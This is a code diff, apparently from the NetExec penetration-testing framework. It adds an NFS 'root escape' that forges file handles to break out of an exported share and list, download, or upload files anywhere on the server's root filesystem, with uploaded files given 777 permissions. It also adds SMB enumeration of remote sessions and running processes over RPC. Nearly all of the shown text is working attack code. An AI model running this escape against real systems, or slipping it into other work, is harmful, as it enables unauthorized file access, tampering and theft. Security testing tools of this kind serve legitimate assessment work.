# If root escape is possible, the escape_share and escape_fh will be populated
|
||||
self.escape_share = None
|
||||
self.escape_fh = b""
|
||||
connection.__init__(self, args, db, host)
|
||||
|
||||
def proto_logger(self):
|
||||
@@ -50,7 +116,7 @@ class nfs(connection):
|
||||
self.port = self.mnt_port
|
||||
self.proto_logger()
|
||||
except Exception as e:
|
||||
self.logger.fail(f"Error during Initialization: {e}")
|
||||
self.logger.info(f"Error during Initialization: {e}")
|
||||
return False
|
||||
return True
|
||||
|
||||
@@ -63,12 +129,20 @@ class nfs(connection):
|
||||
for program in programs:
|
||||
if program["program"] == NFS_PROGRAM:
|
||||
self.nfs_versions.add(program["version"])
|
||||
return self.nfs_versions
|
||||
except Exception as e:
|
||||
self.logger.debug(f"Error checking NFS version: {self.host} {e}")
|
||||
|
||||
# Connect to NFS
|
||||
nfs_port = self.portmap.getport(NFS_PROGRAM, NFS_V3)
|
||||
self.nfs3 = NFSv3(self.host, nfs_port, self.args.nfs_timeout, self.auth)
|
||||
self.nfs3.connect()
|
||||
# Check if root escape is possible
|
||||
self.root_escape = self.try_root_escape()
|
||||
self.nfs3.disconnect()
|
||||
|
||||
def print_host_info(self):
|
||||
self.logger.display(f"Target supported NFS versions: ({', '.join(str(x) for x in self.nfs_versions)})")
|
||||
root_escape_str = colored(f"root escape:{self.root_escape}", host_info_colors[1 if self.root_escape else 0], attrs=["bold"])
|
||||
self.logger.display(f"Supported NFS versions: ({', '.join(str(x) for x in self.nfs_versions)}) ({root_escape_str})")
|
||||
|
||||
def disconnect(self):
|
||||
"""Disconnect mount and portmap if they are connected"""
|
||||
@@ -274,17 +348,38 @@ class nfs(connection):
|
||||
self.nfs3 = NFSv3(self.host, nfs_port, self.args.nfs_timeout, self.auth)
|
||||
self.nfs3.connect()
|
||||
|
||||
# Mount the NFS share
|
||||
mnt_info = self.mount.mnt(remote_dir_path, self.auth)
|
||||
# Mount the NFS share or get the root handle
|
||||
if self.root_escape and not self.args.share:
|
||||
mount_fh = self.escape_fh
|
||||
elif not self.args.share:
|
||||
self.logger.fail("No root escape possible, please specify a share")
|
||||
return
|
||||
else:
|
||||
mnt_info = self.mount.mnt(self.args.share, self.auth)
|
||||
if mnt_info["status"] != 0:
|
||||
self.logger.fail(f"Error mounting share {self.args.share}: {NFSSTAT3[mnt_info['status']]}")
|
||||
return
|
||||
mount_fh = mnt_info["mountinfo"]["fhandle"]
|
||||
|
||||
# Update the UID for the file
|
||||
attrs = self.nfs3.getattr(mnt_info["mountinfo"]["fhandle"], auth=self.auth)
|
||||
self.auth["uid"] = attrs["attributes"]["uid"]
|
||||
dir_handle = mnt_info["mountinfo"]["fhandle"]
|
||||
# Iterate over the path until we hit the file
|
||||
curr_fh = mount_fh
|
||||
for sub_path in remote_file_path.lstrip("/").split("/"):
|
||||
# Update the UID for the next object and get the handle
|
||||
self.update_auth(mount_fh)
|
||||
res = self.nfs3.lookup(curr_fh, sub_path, auth=self.auth)
|
||||
|
||||
# Get the file handle and file size
|
||||
dir_data = self.nfs3.lookup(dir_handle, file_name, auth=self.auth)
|
||||
file_handle = dir_data["resok"]["object"]["data"]
|
||||
# Check for a bad path
|
||||
if "resfail" in res and res["status"] == NFS3ERR_NOENT:
|
||||
self.logger.fail(f"Unknown path: {remote_file_path!r}")
|
||||
return
|
||||
|
||||
curr_fh = res["resok"]["object"]["data"]
|
||||
# If response is file then break
|
||||
if res["resok"]["obj_attributes"]["attributes"]["type"] == NF3REG:
|
||||
break
|
||||
|
||||
# Update the UID and GID for the file
|
||||
self.update_auth(curr_fh)
|
||||
|
||||
# Handle files over the default chunk size of 1024 * 1024
|
||||
offset = 0
|
||||
@@ -293,7 +388,7 @@ class nfs(connection):
|
||||
# Loop until we have read the entire file
|
||||
with open(local_file_path, "wb+") as local_file:
|
||||
while not eof:
|
||||
file_data = self.nfs3.read(file_handle, offset, auth=self.auth)
|
||||
file_data = self.nfs3.read(curr_fh, offset, auth=self.auth)
|
||||
|
||||
if "resfail" in file_data:
|
||||
raise Exception("Insufficient Permissions")
|
||||
@@ -308,7 +403,7 @@ class nfs(connection):
|
||||
# Write the file data to the local file
|
||||
local_file.write(data)
|
||||
|
||||
self.logger.highlight(f"File successfully downloaded to {local_file_path} from {remote_file_path}")
|
||||
self.logger.highlight(f"File successfully downloaded from {remote_file_path} to {local_file_path}")
|
||||
|
||||
# Unmount the share
|
||||
self.mount.umnt(self.auth)
|
||||
@@ -321,18 +416,13 @@ class nfs(connection):
|
||||
"""Uploads a file to the NFS share"""
|
||||
local_file_path = self.args.put_file[0]
|
||||
remote_file_path = self.args.put_file[1]
|
||||
file_name = ""
|
||||
remote_dir_path, file_name = os.path.split(remote_file_path)
|
||||
|
||||
# Check if local file is exist
|
||||
if not os.path.isfile(local_file_path):
|
||||
self.logger.fail(f"{local_file_path} does not exist.")
|
||||
return
|
||||
|
||||
# Do a bit of smart handling for the file paths
|
||||
file_name = local_file_path.split("/")[-1] if "/" in local_file_path else local_file_path
|
||||
if not remote_file_path.endswith("/"):
|
||||
remote_file_path += "/"
|
||||
|
||||
self.logger.display(f"Uploading from {local_file_path} to {remote_file_path}")
|
||||
try:
|
||||
# Connect to NFS
|
||||
@@ -340,26 +430,55 @@ class nfs(connection):
|
||||
self.nfs3 = NFSv3(self.host, nfs_port, self.args.nfs_timeout, self.auth)
|
||||
self.nfs3.connect()
|
||||
|
||||
# Mount the NFS share to create the file
|
||||
mnt_info = self.mount.mnt(remote_file_path, self.auth)
|
||||
dir_handle = mnt_info["mountinfo"]["fhandle"]
|
||||
# Mount the NFS share or get the root handle
|
||||
if self.root_escape and not self.args.share:
|
||||
mount_fh = self.escape_fh
|
||||
elif not self.args.share:
|
||||
self.logger.fail("No root escape possible, please specify a share")
|
||||
return
|
||||
else:
|
||||
mnt_info = self.mount.mnt(self.args.share, self.auth)
|
||||
if mnt_info["status"] != 0:
|
||||
self.logger.fail(f"Error mounting share {self.args.share}: {NFSSTAT3[mnt_info['status']]}")
|
||||
return
|
||||
mount_fh = mnt_info["mountinfo"]["fhandle"]
|
||||
|
||||
# Update the UID from the directory
|
||||
attrs = self.nfs3.getattr(dir_handle, auth=self.auth)
|
||||
self.auth["uid"] = attrs["attributes"]["uid"]
|
||||
# Iterate over the path
|
||||
curr_fh = mount_fh
|
||||
# If target dir is "" or "/" without filter we would get one item with [""]
|
||||
for sub_path in list(filter(None, remote_dir_path.lstrip("/").split("/"))):
|
||||
self.update_auth(mount_fh)
|
||||
res = self.nfs3.lookup(curr_fh, sub_path, auth=self.auth)
|
||||
|
||||
# If the path does not exist, create it
|
||||
if "resfail" in res and res["status"] == NFS3ERR_NOENT:
|
||||
self.logger.display(f"Creating directory '/{sub_path}/'")
|
||||
res = self.nfs3.mkdir(curr_fh, sub_path, 0o777, auth=self.auth)
|
||||
if res["status"] != 0:
|
||||
self.logger.fail(f"Error creating directory '/{sub_path}/': {NFSSTAT3[res['status']]}")
|
||||
return
|
||||
else:
|
||||
curr_fh = res["resok"]["obj"]["handle"]["data"]
|
||||
continue
|
||||
|
||||
curr_fh = res["resok"]["object"]["data"]
|
||||
|
||||
# Update the UID and GID from the directory
|
||||
self.update_auth(curr_fh)
|
||||
|
||||
# Checking if file_name already exists on remote file path
|
||||
lookup_response = self.nfs3.lookup(dir_handle, file_name, auth=self.auth)
|
||||
lookup_response = self.nfs3.lookup(curr_fh, file_name, auth=self.auth)
|
||||
|
||||
# If success, file_name does not exist on remote machine. Else, trying to overwrite it.
|
||||
if lookup_response["resok"] is None:
|
||||
# Create file
|
||||
self.logger.display(f"Trying to create {remote_file_path}{file_name}")
|
||||
res = self.nfs3.create(dir_handle, file_name, create_mode=1, mode=0o777, auth=self.auth)
|
||||
res = self.nfs3.create(curr_fh, file_name, create_mode=1, mode=0o777, auth=self.auth)
|
||||
if res["status"] != 0:
|
||||
raise Exception(NFSSTAT3[res["status"]])
|
||||
else:
|
||||
file_handle = res["resok"]["obj"]["handle"]["data"]
|
||||
self.update_auth(file_handle)
|
||||
self.logger.success(f"{file_name} successfully created")
|
||||
else:
|
||||
# Asking the user if they want to overwrite the file
|
||||
@@ -367,18 +486,22 @@ class nfs(connection):
|
||||
if ans.lower() in ["y", "yes", ""]:
|
||||
self.logger.display(f"{file_name} already exists on {remote_file_path}. Trying to overwrite it...")
|
||||
file_handle = lookup_response["resok"]["object"]["data"]
|
||||
else:
|
||||
self.logger.fail(f"Uploading was not successful. The {file_name} is exist on {remote_file_path}")
|
||||
return
|
||||
|
||||
# Update the UID and GID for the file
|
||||
self.update_auth(file_handle)
|
||||
|
||||
try:
|
||||
with open(local_file_path, "rb") as file:
|
||||
file_data = file.read().decode()
|
||||
|
||||
# Write the data to the remote file
|
||||
self.logger.display(f"Trying to write data from {local_file_path} to {remote_file_path}")
|
||||
self.nfs3.write(file_handle, 0, len(file_data), file_data, 1, auth=self.auth)
|
||||
self.logger.success(f"Data from {local_file_path} successfully written to {remote_file_path}")
|
||||
self.logger.info(f"Trying to write data from {local_file_path} to {remote_file_path}")
|
||||
res = self.nfs3.write(file_handle, 0, len(file_data), file_data, 1, auth=self.auth)
|
||||
if res["status"] != 0:
|
||||
self.logger.fail(f"Error writing to {remote_file_path}: {NFSSTAT3[res['status']]}")
|
||||
return
|
||||
else:
|
||||
self.logger.success(f"Data from {local_file_path} successfully written to {remote_file_path} with permissions 777")
|
||||
except Exception as e:
|
||||
self.logger.fail(f"Could not write to {local_file_path}: {e}")
|
||||
|
||||
@@ -389,6 +512,216 @@ class nfs(connection):
|
||||
else:
|
||||
self.logger.highlight(f"File {local_file_path} successfully uploaded to {remote_file_path}")
|
||||
|
||||
def get_root_handles(self, mount_fh):
|
||||
"""
|
||||
Get possible root handles to escape to the root filesystem
|
||||
Sources:
|
||||
https://elixir.bootlin.com/linux/v6.13.4/source/fs/nfsd/nfsfh.h#L47-L62
|
||||
https://elixir.bootlin.com/linux/v6.13.4/source/include/linux/exportfs.h#L25
|
||||
https://github.com/hvs-consulting/nfs-security-tooling/blob/main/nfs_analyze/nfs_analyze.py
|
||||
|
||||
Usually:
|
||||
- 1 byte: 0x01 fb_version
|
||||
- 1 byte: 0x00 fb_auth_type, can be 0x00 (no auth) and 0x01 (some md5 auth), but is hardcoded to 0x00 in the linux kernel
|
||||
- 1 byte: 0xXX fb_fsid_type -> determines the encoding (length) of the fsid, just must be preserved
|
||||
- 1 byte: 0xXX fb_fileid_type -> determines the filesystem type
|
||||
"""
|
||||
# First enumerate the directory and try to find a file/dir that contains the fid_type (4th position: handle[3])
|
||||
# See: https://elixir.bootlin.com/linux/v6.13.4/source/include/linux/exportfs.h#L25
|
||||
dir_data = self.format_directory(self.nfs3.readdirplus(mount_fh, auth=self.auth))
|
||||
filesystem = FileID.unknown
|
||||
for entry in dir_data:
|
||||
# Check if "." is already the root directory
|
||||
if entry["name"] == b".":
|
||||
if entry["name_handle"]["handle"]["data"][0] in [b"\x02", b"\x80"]:
|
||||
self.logger.debug("Exported share is already the root directory")
|
||||
return [entry["name_handle"]["handle"]["data"]]
|
||||
elif entry["name"] == b"..":
|
||||
continue
|
||||
else:
|
||||
try:
|
||||
fid_type = entry["name_handle"]["handle"]["data"][3]
|
||||
if fid_type in fileid_types:
|
||||
filesystem = fileid_types[fid_type]
|
||||
self.logger.debug(f"Found filesystem type: {filesystem}")
|
||||
break
|
||||
except Exception as e:
|
||||
self.logger.debug(f"Error on getting filesystem type: {e}")
|
||||
continue
|
||||
|
||||
self.logger.debug(f"Filesystem type: {filesystem}")
|
||||
|
||||
# Generate the root handle depending on the filesystem type and preserve the file_id (respect the length)
|
||||
fh_fsid_type = mount_fh[2]
|
||||
fh_fsid_len = fsid_lens[fh_fsid_type]
|
||||
root_handles = []
|
||||
|
||||
# Generate possible root handles
|
||||
# General syntax: 4 byte header + fsid + fileid
|
||||
# Format for the file id see: https://elixir.bootlin.com/linux/v6.13.4/source/include/linux/exportfs.h#L25
|
||||
fh = bytearray(mount_fh)
|
||||
if filesystem in [FileID.ext, FileID.unknown]:
|
||||
root_handles.append(bytes(fh[:3] + b"\x02" + fh[4:4+fh_fsid_len] + b"\x02\x00\x00\x00" + b"\x00\x00\x00\x00" + b"\x02\x00\x00\x00")) # noqa: E226 FURB113
|
||||
root_handles.append(bytes(fh[:3] + b"\x02" + fh[4:4+fh_fsid_len] + b"\x80\x00\x00\x00" + b"\x00\x00\x00\x00" + b"\x80\x00\x00\x00")) # noqa: E226
|
||||
if filesystem in [FileID.btrfs, FileID.unknown]:
|
||||
# Iterate over btrfs subvolumes, use 16 as default similar to the guys from nfs-security-tooling
|
||||
for i in range(16):
|
||||
subvolume = int.to_bytes(i) + b"\x01\x00\x00"
|
||||
root_handles.append(bytes(fh[:3] + b"\x4d" + fh[4:4+fh_fsid_len] + b"\x00\x01\x00\x00" + b"\x00\x00\x00\x00" + subvolume + b"\x00\x00\x00\x00" + b"\x00\x00\x00\x00")) # noqa: E226
|
||||
|
||||
return root_handles
|
||||
|
||||
def try_root_escape(self) -> bool:
|
||||
"""
|
||||
With an established connection look for a share that can be escaped to the root filesystem.
|
||||
If successfull, self.escape_share and self.escape_fh will be populated.
|
||||
|
||||
Returns
|
||||
-------
|
||||
bool: True if root escape was successful
|
||||
"""
|
||||
if not self.nfs3:
|
||||
raise Exception("NFS connection is not established")
|
||||
|
||||
output_export = str(self.mount.export())
|
||||
reg = re.compile(r"ex_dir=b'([^']*)'") # Get share names
|
||||
shares = list(reg.findall(output_export))
|
||||
|
||||
self.logger.debug(f"Trying root escape on shares: {shares}")
|
||||
for share in shares:
|
||||
mount_info = self.mount.mnt(share, self.auth)
|
||||
if mount_info["status"] != 0:
|
||||
self.logger.debug(f"Root escape: can't list directory {share}: {NFSSTAT3[mount_info['status']]}")
|
||||
self.mount.umnt(self.auth)
|
||||
continue
|
||||
mount_fh = mount_info["mountinfo"]["fhandle"]
|
||||
try:
|
||||
possible_root_fhs = self.get_root_handles(mount_fh)
|
||||
for fh in possible_root_fhs:
|
||||
if "resfail" not in self.nfs3.readdir(fh, auth=self.auth):
|
||||
self.logger.info(f"Root escape successful on share '{share}' with handle: {fh.hex()}")
|
||||
self.escape_share = share
|
||||
self.escape_fh = fh
|
||||
self.mount.umnt(self.auth)
|
||||
return True
|
||||
except Exception as e:
|
||||
self.logger.debug(f"Error trying root escape on share '{share}': {e}")
|
||||
self.mount.umnt(self.auth)
|
||||
return False
|
||||
|
||||
def ls(self):
|
||||
# Connect to NFS
|
||||
nfs_port = self.portmap.getport(NFS_PROGRAM, NFS_V3)
|
||||
self.nfs3 = NFSv3(self.host, nfs_port, self.args.nfs_timeout, self.auth)
|
||||
self.nfs3.connect()
|
||||
|
||||
# Remove leading or trailing slashes
|
||||
self.args.ls = self.args.ls.lstrip("/").rstrip("/")
|
||||
|
||||
# NORMAL LS CALL (without root escape)
|
||||
if self.args.share:
|
||||
mount_info = self.mount.mnt(self.args.share, self.auth)
|
||||
mount_fh = mount_info["mountinfo"]["fhandle"]
|
||||
elif self.root_escape:
|
||||
# Interestingly we don't actually have to mount the share if we already got the handle
|
||||
self.logger.success(f"Successful escape on share: {self.escape_share}")
|
||||
mount_fh = self.escape_fh
|
||||
else:
|
||||
self.logger.fail("No root escape possible, please specify a share")
|
||||
return
|
||||
|
||||
# Update UID and GID for the share
|
||||
self.update_auth(mount_fh)
|
||||
|
||||
# We got a path to look up
|
||||
curr_fh = mount_fh
|
||||
is_file = False # If the last path is a file
|
||||
|
||||
# If ls is "" or "/" without filter we would get one item with [""]
|
||||
for sub_path in list(filter(None, self.args.ls.split("/"))):
|
||||
res = self.nfs3.lookup(curr_fh, sub_path, auth=self.auth)
|
||||
|
||||
if "resfail" in res and res["status"] == NFS3ERR_NOENT:
|
||||
self.logger.fail(f"Unknown path: {self.args.ls!r}")
|
||||
return
|
||||
# If file then break and only display file
|
||||
if res["resok"]["obj_attributes"]["attributes"]["type"] == NF3REG:
|
||||
is_file = True
|
||||
break
|
||||
curr_fh = res["resok"]["object"]["data"]
|
||||
|
||||
# Update the UID and GID for the file/dir
|
||||
self.update_auth(curr_fh)
|
||||
|
||||
dir_listing = self.nfs3.readdirplus(curr_fh, auth=self.auth)
|
||||
if dir_listing["status"] != 0:
|
||||
self.logger.fail(f"Error on listing directory: {NFSSTAT3[dir_listing['status']]}")
|
||||
return
|
||||
content = self.format_directory(dir_listing)
|
||||
|
||||
# Sometimes the NFS Server does not return the attributes for the files
|
||||
# However, they can still be looked up individually is missing
|
||||
for item in content:
|
||||
if not item["name_attributes"]["present"]:
|
||||
try:
|
||||
res = self.nfs3.lookup(curr_fh, item["name"].decode(), auth=self.auth)
|
||||
item["name_attributes"]["attributes"] = res["resok"]["obj_attributes"]["attributes"]
|
||||
item["name_attributes"]["present"] = True
|
||||
item["name_handle"]["handle"] = res["resok"]["object"]
|
||||
item["name_handle"]["present"] = True
|
||||
except Exception as e:
|
||||
self.logger.debug(f"Error on getting attributes for {item['name'].decode()}: {e}")
|
||||
|
||||
# If the requested path is a file, we filter out all other files
|
||||
path = f"{self.args.share if self.args.share else ''}/{self.args.ls}"
|
||||
if is_file:
|
||||
content = [x for x in content if x["name"].decode() == sub_path]
|
||||
path = path.rsplit("/", 1)[0] # Remove the file from the path
|
||||
self.print_directory(content, path)
|
||||
|
||||
def print_directory(self, content, path):
|
||||
"""
|
||||
Highlight log the content of the directory provided by a READDIRPLUS call.
|
||||
Expects an FORMATED output of self.format_directory.
|
||||
"""
|
||||
self.logger.highlight(f"{'UID':<11}{'Perms':<7}{'File Size':<14}{'File Path'}")
|
||||
self.logger.highlight(f"{'---':<11}{'-----':<7}{'---------':<14}{'---------'}")
|
||||
for item in content:
|
||||
if not item["name_attributes"]["present"] or not item["name_handle"]["present"]:
|
||||
uid = "-"
|
||||
perms = "----"
|
||||
file_size = "-"
|
||||
else:
|
||||
uid = item["name_attributes"]["attributes"]["uid"]
|
||||
is_dir = "d" if item["name_attributes"]["attributes"]["type"] == 2 else "-"
|
||||
read_perm, write_perm, exec_perm = self.get_permissions(item["name_handle"]["handle"]["data"])
|
||||
perms = f"{is_dir}{'r' if read_perm else '-'}{'w' if write_perm else '-'}{'x' if exec_perm else '-'}"
|
||||
file_size = convert_size(item["name_attributes"]["attributes"]["size"])
|
||||
self.logger.highlight(f"{uid:<11}{perms:<7}{file_size:<14}{path.rstrip('/') + '/' + item['name'].decode()}")
|
||||
|
||||
def format_directory(self, raw_directory):
|
||||
"""Convert the chained directory entries to a list of the entries"""
|
||||
if "resfail" in raw_directory:
|
||||
self.logger.debug("Insufficient Permissions, NFS returned 'resfail'")
|
||||
return {}
|
||||
items = []
|
||||
nextentry = raw_directory["resok"]["reply"]["entries"][0]
|
||||
while nextentry:
|
||||
entry = nextentry
|
||||
nextentry = entry["nextentry"][0] if entry["nextentry"] else None
|
||||
entry.pop("nextentry")
|
||||
items.append(entry)
|
||||
|
||||
# Sort by name to be linux-like
|
||||
return sorted(items, key=lambda x: x["name"].decode())
|
||||
|
||||
def update_auth(self, file_handle):
|
||||
"""Update the UID and GID for the file handle"""
|
||||
attrs = self.nfs3.getattr(file_handle, auth=self.auth)
|
||||
self.logger.debug(f"Updating auth with UID: {attrs['attributes']['uid']} and GID: {attrs['attributes']['gid']}")
|
||||
self.auth["uid"] = attrs["attributes"]["uid"]
|
||||
self.auth["gid"] = attrs["attributes"]["gid"]
|
||||
|
||||
|
||||
def convert_size(size_bytes):
|
||||
if size_bytes == 0:
|
||||
|
||||
@@ -4,8 +4,10 @@ def proto_args(parser, parents):
|
||||
nfs_parser.add_argument("--nfs-timeout", type=int, default=30, help="NFS connection timeout (default: %(default)ss)")
|
||||
|
||||
dgroup = nfs_parser.add_argument_group("NFS Mapping/Enumeration", "Options for Mapping/Enumerating NFS")
|
||||
dgroup.add_argument("--share", help="Specify a share, e.g. for --ls, --get-file, --put-file")
|
||||
dgroup.add_argument("--shares", action="store_true", help="List NFS shares")
|
||||
dgroup.add_argument("--enum-shares", nargs="?", type=int, const=3, help="Authenticate and enumerate exposed shares recursively (default depth: %(const)s)")
|
||||
dgroup.add_argument("--ls", const="/", nargs="?", metavar="PATH", help="List files in the specified NFS share. Example: --ls /")
|
||||
dgroup.add_argument("--get-file", nargs=2, metavar="FILE", help="Download remote NFS file. Example: --get-file remote_file local_file")
|
||||
dgroup.add_argument("--put-file", nargs=2, metavar="FILE", help="Upload remote NFS file with chmod 777 permissions to the specified folder. Example: --put-file local_file remote_file")
|
||||
|
||||
|
||||
+160
-3
@@ -29,6 +29,7 @@ from impacket.dcerpc.v5.dtypes import NULL
|
||||
from impacket.dcerpc.v5.dcomrt import DCOMConnection
|
||||
from impacket.dcerpc.v5.dcom.wmi import CLSID_WbemLevel1Login, IID_IWbemLevel1Login, IWbemLevel1Login
|
||||
from impacket.smb3structs import FILE_SHARE_WRITE, FILE_SHARE_DELETE
|
||||
from impacket.dcerpc.v5 import tsts as TSTS
|
||||
|
||||
from nxc.config import process_secret, host_info_colors
|
||||
from nxc.connection import connection, sem, requires_admin, dcom_FirewallChecker
|
||||
@@ -870,6 +871,162 @@ class smb(connection):
|
||||
self.logger.debug(f"ps_execute response: {response}")
|
||||
return response
|
||||
|
||||
def get_session_list(self):
|
||||
with TSTS.TermSrvEnumeration(self.conn, self.host, self.kerberos) as lsm:
|
||||
handle = lsm.hRpcOpenEnum()
|
||||
rsessions = lsm.hRpcGetEnumResult(handle, Level=1)["ppSessionEnumResult"]
|
||||
lsm.hRpcCloseEnum(handle)
|
||||
sessions = {}
|
||||
for i in rsessions:
|
||||
sess = i["SessionInfo"]["SessionEnum_Level1"]
|
||||
state = TSTS.enum2value(TSTS.WINSTATIONSTATECLASS, sess["State"]).split("_")[-1]
|
||||
sessions[sess["SessionId"]] = {
|
||||
"state": state,
|
||||
"SessionName": sess["Name"],
|
||||
"RemoteIp": "",
|
||||
"ClientName": "",
|
||||
"Username": "",
|
||||
"Domain": "",
|
||||
"Resolution": "",
|
||||
"ClientTimeZone": ""
|
||||
}
|
||||
return sessions
|
||||
|
||||
def enumerate_sessions_info(self, sessions):
|
||||
if len(sessions):
|
||||
with TSTS.TermSrvSession(self.conn, self.host, self.kerberos) as TermSrvSession:
|
||||
for SessionId in sessions:
|
||||
sessdata = TermSrvSession.hRpcGetSessionInformationEx(SessionId)
|
||||
sessflags = TSTS.enum2value(TSTS.SESSIONFLAGS, sessdata["LSMSessionInfoExPtr"]["LSM_SessionInfo_Level1"]["SessionFlags"])
|
||||
sessions[SessionId]["flags"] = sessflags
|
||||
domain = sessdata["LSMSessionInfoExPtr"]["LSM_SessionInfo_Level1"]["DomainName"]
|
||||
if not len(sessions[SessionId]["Domain"]) and len(domain):
|
||||
sessions[SessionId]["Domain"] = domain
|
||||
username = sessdata["LSMSessionInfoExPtr"]["LSM_SessionInfo_Level1"]["UserName"]
|
||||
if not len(sessions[SessionId]["Username"]) and len(username):
|
||||
sessions[SessionId]["Username"] = username
|
||||
sessions[SessionId]["ConnectTime"] = sessdata["LSMSessionInfoExPtr"]["LSM_SessionInfo_Level1"]["ConnectTime"]
|
||||
sessions[SessionId]["DisconnectTime"] = sessdata["LSMSessionInfoExPtr"]["LSM_SessionInfo_Level1"]["DisconnectTime"]
|
||||
sessions[SessionId]["LogonTime"] = sessdata["LSMSessionInfoExPtr"]["LSM_SessionInfo_Level1"]["LogonTime"]
|
||||
sessions[SessionId]["LastInputTime"] = sessdata["LSMSessionInfoExPtr"]["LSM_SessionInfo_Level1"]["LastInputTime"]
|
||||
with TSTS.RCMPublic(self.conn, self.host, self.kerberos) as rcm:
|
||||
for SessionId in sessions:
|
||||
try:
|
||||
client = rcm.hRpcGetRemoteAddress(SessionId)
|
||||
if not client:
|
||||
continue
|
||||
sessions[SessionId]["RemoteIp"] = client["pRemoteAddress"]["ipv4"]["in_addr"]
|
||||
except Exception as e:
|
||||
self.logger.debug(f"Error getting client address for session {SessionId}: {e}")
|
||||
|
||||
@requires_admin
|
||||
def qwinsta(self):
|
||||
desktop_states = {
|
||||
"WTS_SESSIONSTATE_UNKNOWN": "",
|
||||
"WTS_SESSIONSTATE_LOCK": "Locked",
|
||||
"WTS_SESSIONSTATE_UNLOCK": "Unlocked",
|
||||
}
|
||||
sessions = self.get_session_list()
|
||||
if not len(sessions):
|
||||
return
|
||||
self.enumerate_sessions_info(sessions)
|
||||
|
||||
maxSessionNameLen = max([len(sessions[i]["SessionName"]) + 1 for i in sessions])
|
||||
maxSessionNameLen = maxSessionNameLen if len("SESSIONNAME") < maxSessionNameLen else len("SESSIONNAME") + 1
|
||||
maxUsernameLen = max([len(sessions[i]["Username"] + sessions[i]["Domain"]) + 1 for i in sessions]) + 1
|
||||
maxUsernameLen = maxUsernameLen if len("Username") < maxUsernameLen else len("Username") + 1
|
||||
maxIdLen = max([len(str(i)) for i in sessions])
|
||||
maxIdLen = maxIdLen if len("ID") < maxIdLen else len("ID") + 1
|
||||
maxStateLen = max([len(sessions[i]["state"]) + 1 for i in sessions])
|
||||
maxStateLen = maxStateLen if len("STATE") < maxStateLen else len("STATE") + 1
|
||||
maxRemoteIp = max([len(sessions[i]["RemoteIp"]) + 1 for i in sessions])
|
||||
maxRemoteIp = maxRemoteIp if len("RemoteAddress") < maxRemoteIp else len("RemoteAddress") + 1
|
||||
maxClientName = max([len(sessions[i]["ClientName"]) + 1 for i in sessions])
|
||||
maxClientName = maxClientName if len("ClientName") < maxClientName else len("ClientName") + 1
|
||||
template = ("{SESSIONNAME: <%d} "
|
||||
"{USERNAME: <%d} "
|
||||
"{ID: <%d} "
|
||||
"{IPv4: <16} "
|
||||
"{STATE: <%d} "
|
||||
"{DSTATE: <9} "
|
||||
"{CONNTIME: <20} "
|
||||
"{DISCTIME: <20} ") % (maxSessionNameLen, maxUsernameLen, maxIdLen, maxStateLen)
|
||||
|
||||
result = []
|
||||
header = template.format(
|
||||
SESSIONNAME="SESSIONNAME",
|
||||
USERNAME="USERNAME",
|
||||
ID="ID",
|
||||
IPv4="IPv4 Address",
|
||||
STATE="STATE",
|
||||
DSTATE="Desktop",
|
||||
CONNTIME="ConnectTime",
|
||||
DISCTIME="DisconnectTime",
|
||||
)
|
||||
|
||||
header2 = template.replace(" <", "=<").format(
|
||||
SESSIONNAME="",
|
||||
USERNAME="",
|
||||
ID="",
|
||||
IPv4="",
|
||||
STATE="",
|
||||
DSTATE="",
|
||||
CONNTIME="",
|
||||
DISCTIME="",
|
||||
)
|
||||
result.extend((header, header2))
|
||||
|
||||
for i in sessions:
|
||||
connectTime = sessions[i]["ConnectTime"]
|
||||
connectTime = connectTime.strftime(r"%Y/%m/%d %H:%M:%S") if connectTime.year > 1601 else "None"
|
||||
|
||||
disconnectTime = sessions[i]["DisconnectTime"]
|
||||
disconnectTime = disconnectTime.strftime(r"%Y/%m/%d %H:%M:%S") if disconnectTime.year > 1601 else "None"
|
||||
userName = sessions[i]["Domain"] + "\\" + sessions[i]["Username"] if len(sessions[i]["Username"]) else ""
|
||||
|
||||
result.append(template.format(
|
||||
SESSIONNAME=sessions[i]["SessionName"],
|
||||
USERNAME=userName,
|
||||
ID=i,
|
||||
IPv4=sessions[i]["RemoteIp"],
|
||||
STATE=sessions[i]["state"],
|
||||
DSTATE=desktop_states[sessions[i]["flags"]],
|
||||
CONNTIME=connectTime,
|
||||
DISCTIME=disconnectTime,
|
||||
))
|
||||
|
||||
self.logger.success("Enumerated qwinsta sessions")
|
||||
for row in result:
|
||||
self.logger.highlight(row)
|
||||
|
||||
@requires_admin
|
||||
def tasklist(self):
|
||||
with TSTS.LegacyAPI(self.conn, self.host, self.kerberos) as legacy:
|
||||
try:
|
||||
handle = legacy.hRpcWinStationOpenServer()
|
||||
res = legacy.hRpcWinStationGetAllProcesses(handle)
|
||||
except Exception as e:
|
||||
# TODO: Issue https://github.com/fortra/impacket/issues/1816
|
||||
self.logger.debug(f"Exception while calling hRpcWinStationGetAllProcesses: {e}")
|
||||
return
|
||||
if not res:
|
||||
return
|
||||
self.logger.success("Enumerated processes")
|
||||
maxImageNameLen = max([len(i["ImageName"]) for i in res])
|
||||
maxSidLen = max([len(i["pSid"]) for i in res])
|
||||
template = "{: <%d} {: <8} {: <11} {: <%d} {: >12}" % (maxImageNameLen, maxSidLen)
|
||||
self.logger.highlight(template.format("Image Name", "PID", "Session#", "SID", "Mem Usage"))
|
||||
self.logger.highlight(template.replace(": ", ":=").format("", "", "", "", ""))
|
||||
for procInfo in res:
|
||||
row = template.format(
|
||||
procInfo["ImageName"],
|
||||
procInfo["UniqueProcessId"],
|
||||
procInfo["SessionId"],
|
||||
procInfo["pSid"],
|
||||
"{:,} K".format(procInfo["WorkingSetSize"] // 1000),
|
||||
)
|
||||
self.logger.highlight(row)
|
||||
|
||||
def shares(self):
|
||||
temp_dir = ntpath.normpath("\\" + gen_random_string())
|
||||
temp_file = ntpath.normpath("\\" + gen_random_string() + ".txt")
|
||||
@@ -1084,7 +1241,7 @@ class smb(connection):
|
||||
dc_ips.append(self.host)
|
||||
return dc_ips
|
||||
|
||||
def sessions(self):
|
||||
def smb_sessions(self):
|
||||
try:
|
||||
sessions = get_netsession(
|
||||
self.host,
|
||||
@@ -1099,8 +1256,8 @@ class smb(connection):
|
||||
if session.sesi10_cname.find(self.local_ip) == -1:
|
||||
self.logger.highlight(f"{session.sesi10_cname:<25} User:{session.sesi10_username}")
|
||||
return sessions
|
||||
except Exception:
|
||||
pass
|
||||
except Exception as e:
|
||||
self.logger.debug(e)
|
||||
|
||||
def disks(self):
|
||||
disks = []
|
||||
|
||||
@@ -207,8 +207,10 @@ class TSCH_EXEC:
|
||||
else:
|
||||
self.logger.debug(str(e))
|
||||
|
||||
if self.__outputBuffer:
|
||||
try:
|
